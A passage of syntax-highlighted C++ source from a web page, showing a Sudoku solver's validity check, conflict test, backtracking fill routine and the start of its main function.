">if</span>&nbsp;('.'&nbsp;==&nbsp;answer[i&nbsp;*&nbsp;9&nbsp;+&nbsp;j]&nbsp;||&nbsp;++hit_h[answer[i&nbsp;*&nbsp;9&nbsp;+&nbsp;j]&nbsp;-&nbsp;'1']&nbsp;!=&nbsp;1)&nbsp;{&nbsp;<span style="color: #008000; ">//</span><span style="color: #008000; ">row&nbsp;check</span><span style="color: #008000; "><br /></span><span style="color: #008080; ">113</span>&nbsp;<span style="color: #008000; "></span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;<span style="color: #0000FF; ">false</span>;<br /><span style="color: #008080; ">114</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<span style="color: #0000FF; ">else</span>&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;('.'&nbsp;==&nbsp;answer[j&nbsp;*&nbsp;9&nbsp;+&nbsp;i]&nbsp;||&nbsp;++hit_v[answer[j&nbsp;*&nbsp;9&nbsp;+&nbsp;i]&nbsp;-&nbsp;'1']&nbsp;!=&nbsp;1)&nbsp;{&nbsp;<span style="color: #008000; ">//</span><span style="color: #008000; ">column&nbsp;check</span><span style="color: #008000; "><br /></span><span style="color: #008080; ">115</span>&nbsp;<span style="color: #008000; "></span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;<span style="color: #0000FF; ">false</span>;<br /><span style="color: #008080; ">116</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">117</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(0&nbsp;==&nbsp;i&nbsp;%&nbsp;3&nbsp;&amp;&amp;&nbsp;0&nbsp;==&nbsp;j&nbsp;%&nbsp;3)&nbsp;{&nbsp;<span style="color: #008000; ">//</span><span style="color: #008000; ">3x3&nbsp;square&nbsp;check</span><span style="color: #008000; "><br /></span><span style="color: #008080; ">118</span>&nbsp;<span style="color: #008000; "></span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">char</span>&nbsp;hit_m[9]&nbsp;=&nbsp;{&nbsp;'\0'&nbsp;};<br /><span style="color: #008080; ">119</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;i2&nbsp;=&nbsp;i;&nbsp;i2&nbsp;&lt;&nbsp;i&nbsp;+&nbsp;3;&nbsp;++i2)&nbsp;{<br /><span style="color: #008080; ">120</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;j2&nbsp;=&nbsp;j;&nbsp;j2&nbsp;&lt;&nbsp;j&nbsp;+&nbsp;3;&nbsp;++j2)&nbsp;{<br /><span style="color: #008080; ">121</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;('.'&nbsp;==&nbsp;answer[i2&nbsp;*&nbsp;9&nbsp;+&nbsp;j2]&nbsp;||&nbsp;++hit_m[answer[i2&nbsp;*&nbsp;9&nbsp;+&nbsp;j2]&nbsp;-&nbsp;'1']&nbsp;!=&nbsp;1)&nbsp;{<br /><span style="color: #008080; ">122</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;<span style="color: #0000FF; ">false</span>;<br /><span style="color: #008080; ">123</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">124</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">125</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">126</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">127</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">128</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">129</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;<span style="color: #0000FF; ">true</span>;<br /><span style="color: #008080; ">130</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">131</span>&nbsp;<br /><span style="color: #008080; ">132</span>&nbsp;<span style="color: #0000FF; ">private</span>:<br /><span style="color: #008080; ">133</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">void</span>&nbsp;AddOneAnswer()&nbsp;{<br /><span style="color: #008080; ">134</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">char</span>&nbsp;buf[82];<br /><span style="color: #008080; ">135</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buf[81]&nbsp;=&nbsp;'\0';<br /><span style="color: #008080; ">136</span>&nbsp;<br /><span style="color: #008080; ">137</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;9;&nbsp;++i)&nbsp;{<br /><span style="color: #008080; ">138</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;j&nbsp;=&nbsp;0;&nbsp;j&nbsp;&lt;&nbsp;9;&nbsp;++j)&nbsp;{<br /><span style="color: #008080; ">139</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buf[i&nbsp;*&nbsp;9&nbsp;+&nbsp;j]&nbsp;=&nbsp;m_data[i][j];<br /><span style="color: #008080; ">140</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">141</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">142</span>&nbsp;<br /><span style="color: #008080; ">143</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_all_answers.insert(buf);<br /><span style="color: #008080; ">144</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">145</span>&nbsp;<br /><span style="color: #008080; ">146</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">static</span>&nbsp;<span style="color: #0000FF; ">bool</span>&nbsp;DoesConflict(<span style="color: #0000FF; ">const</span>&nbsp;std::vector&lt;std::vector&lt;<span style="color: #0000FF; ">char</span>&gt;&nbsp;&gt;&amp;&nbsp;data,&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;i,&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;j,&nbsp;<span style="color: #0000FF; ">char</span>&nbsp;digit)&nbsp;{<br /><span style="color: #008080; ">147</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;k&nbsp;=&nbsp;0;&nbsp;k&nbsp;&lt;&nbsp;9;&nbsp;++k)&nbsp;{<br /><span style="color: #008080; ">148</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(digit&nbsp;==&nbsp;data[i][k])&nbsp;{<br /><span style="color: #008080; ">149</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;<span style="color: #0000FF; ">true</span>;<br /><span style="color: #008080; ">150</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">151</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(digit&nbsp;==&nbsp;data[k][j])&nbsp;{<br /><span style="color: #008080; ">152</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;<span style="color: #0000FF; ">true</span>;<br /><span style="color: #008080; ">153</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">154</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">155</span>&nbsp;<br /><span style="color: #008080; ">156</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;i0&nbsp;=&nbsp;i&nbsp;-&nbsp;i&nbsp;%&nbsp;3;<br /><span style="color: #008080; ">157</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;j0&nbsp;=&nbsp;j&nbsp;-&nbsp;j&nbsp;%&nbsp;3;<br /><span style="color: #008080; ">158</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;i2&nbsp;=&nbsp;i0;&nbsp;i2&nbsp;&lt;&nbsp;i0&nbsp;+&nbsp;3;&nbsp;++i2)&nbsp;{<br /><span style="color: #008080; ">159</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;j2&nbsp;=&nbsp;j0;&nbsp;j2&nbsp;&lt;&nbsp;j0&nbsp;+&nbsp;3;&nbsp;++j2)&nbsp;{<br /><span style="color: #008080; ">160</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(digit&nbsp;==&nbsp;data[i2][j2])&nbsp;{<br /><span style="color: #008080; ">161</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;<span style="color: #0000FF; ">true</span>;<br /><span style="color: #008080; ">162</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">163</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">164</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">165</span>&nbsp;<br /><span style="color: #008080; ">166</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;<span style="color: #0000FF; ">false</span>;<br /><span style="color: #008080; ">167</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">168</span>&nbsp;<br /><span style="color: #008080; ">169</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">bool</span>&nbsp;Fill(<span style="color: #0000FF; ">int</span>&nbsp;i,&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;j)&nbsp;{<br /><span style="color: #008080; ">170</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(;&nbsp;i&nbsp;&lt;&nbsp;9;&nbsp;++i,&nbsp;j&nbsp;=&nbsp;0)&nbsp;{<br /><span style="color: #008080; ">171</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(;&nbsp;j&nbsp;&lt;&nbsp;9;&nbsp;++j)&nbsp;{<br /><span style="color: #008080; ">172</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;('.'&nbsp;==&nbsp;m_data[i][j])&nbsp;{<br /><span style="color: #008080; ">173</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">int</span>&nbsp;k&nbsp;=&nbsp;'1';&nbsp;k&nbsp;&lt;=&nbsp;'9';&nbsp;++k)&nbsp;{<br /><span style="color: #008080; ">174</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(DoesConflict(m_data,&nbsp;i,&nbsp;j,&nbsp;k))&nbsp;{<br /><span style="color: #008080; ">175</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">continue</span>;<br /><span style="color: #008080; ">176</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">177</span>&nbsp;<br /><span style="color: #008080; ">178</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_data[i][j]&nbsp;=&nbsp;k;<br /><span style="color: #008080; ">179</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(8&nbsp;==&nbsp;j)&nbsp;{<br /><span style="color: #008080; ">180</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(Fill(i&nbsp;+&nbsp;1,&nbsp;0))&nbsp;{<br /><span style="color: #008080; ">181</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AddOneAnswer();<br /><span style="color: #008080; ">182</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(!m_does_try_all_answers)&nbsp;{<br /><span style="color: #008080; ">183</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;<span style="color: #0000FF; ">true</span>;<br /><span style="color: #008080; ">184</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">185</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">186</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<span style="color: #0000FF; ">else</span>&nbsp;{<br /><span style="color: #008080; ">187</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(Fill(i,&nbsp;j&nbsp;+&nbsp;1))&nbsp;{<br /><span style="color: #008080; ">188</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AddOneAnswer();<br /><span style="color: #008080; ">189</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(!m_does_try_all_answers)&nbsp;{<br /><span style="color: #008080; ">190</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;<span style="color: #0000FF; ">true</span>;<br /><span style="color: #008080; ">191</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">192</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">193</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">194</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">195</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_data[i][j]&nbsp;=&nbsp;'.';<br /><span style="color: #008080; ">196</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;<span style="color: #0000FF; ">false</span>;<br /><span style="color: #008080; ">197</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">198</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">199</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">200</span>&nbsp;<br /><span style="color: #008080; ">201</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AddOneAnswer();<br /><span style="color: #008080; ">202</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;<span style="color: #0000FF; ">true</span>;<br /><span style="color: #008080; ">203</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">204</span>&nbsp;<br /><span style="color: #008080; ">205</span>&nbsp;<span style="color: #0000FF; ">private</span>:<br /><span style="color: #008080; ">206</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">bool</span>&nbsp;m_does_try_all_answers;<br /><span style="color: #008080; ">207</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;std::vector&lt;std::vector&lt;<span style="color: #0000FF; ">char</span>&gt;&nbsp;&gt;&nbsp;m_data;<br /><span style="color: #008080; ">208</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;std::<span style="color: #0000FF; ">set</span>&lt;std::<span style="color: #0000FF; ">string</span>&gt;&nbsp;m_all_answers;<br /><span style="color: #008080; ">209</span>&nbsp;};<br /><span style="color: #008080; ">210</span>&nbsp;<br /><span style="color: #008080; ">211</span>&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;main(<span style="color: #0000FF; ">int</span>&nbsp;argc,&nbsp;<span style="color: #0000FF; ">char</span>*&nbsp;argv[])&nbsp;{<br /><span style="color: #008080; ">212</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;std::<span style="color: #0000FF; ">string</span>&nbsp;question;<br /><span style="color: #008080; ">213</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #008000; ">//</span><span style="color: 